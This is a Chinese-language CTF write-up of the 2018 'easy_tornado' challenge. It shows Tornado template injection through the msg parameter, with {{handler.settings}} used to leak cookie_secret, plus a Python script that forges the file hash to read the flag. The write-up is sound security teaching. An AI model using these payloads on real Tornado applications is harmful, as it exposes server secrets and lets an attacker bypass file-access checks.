[护网杯 2018]easy_tornado

0x00

打开网页发现

分别打开
/flag.txt:

/welcome.txt:

/hints.txt:

还有一点需要注意的是:

/file?filename=/hints.txt&filehash=32aaa29a01b1b5a672bda72c1313619e

就如上面访问文件的时候都需要filehash才可以访问
从/hints.txt中我们可以知道filehash的组成为:

md5(cookie_secret+md5(filename))

从/flag.txt中我们已经知道了flag所在的文件为/fllllllllllllag,
所以现在我们只需要知道cookie_secret就可以得到flag
然后我去查看cookie发现没有cookie

说明我们的方向也许有点问题,继续查看其他信息
在/welcome.txt中我们发现了render
提供给render相应参数,它可以生成相应的html供前端响应
既然使用这个函数提供的html,那也许存在SSTI注入漏洞
有了新的方向,那我们去查找漏洞
首先开始提供的那三个界面根本没办法利用,都进行了filehash验证,
当输入错误的filehash的时候会发现跳转到了错误界面

看到这里

?msg=Error

很可能存在漏洞,那我们进行验证一下

?msg=1


确实可以显示,继续

?msg={{1*1}}


百度了一下ORZ是什么意思才发现是被过滤了,继续试

?msg={{1^2}}


发现进行了异或运算,不用在进行验证了
虽然现在发现了SSTI注入,但是cookie_secret在哪里获取
百度搜索了关键字cookie_secret,发现是tornado模板引擎里面的一种安全cookie机制
那现在cookie_secret就能和SSTI漏洞结合了,百度查询后发现,只需要输入如下就可以获得cookie_secret

?msg={{handler.settings}}

得到如下结果

接下来就是写一个python脚本获取filehash了

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="28a80f75-de02-42ef-927c-c99e9be61b1b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()     
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

##hash.digest() 
##返回摘要,作为二进制数据字符串值
##hash.hexdigest() 
##返回摘要,作为十六进制数据字符串值

运行脚本后得到结果

0x01

前面我们已经获得了flag,但是还有一个地方值得我们研究
那就是为什么输入

?msg={{handler.settings}}

可以获得cookie_secret,原因就是:
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,
handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,
所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

原文地址:https://www.cnblogs.com/Wuser/p/13467636.html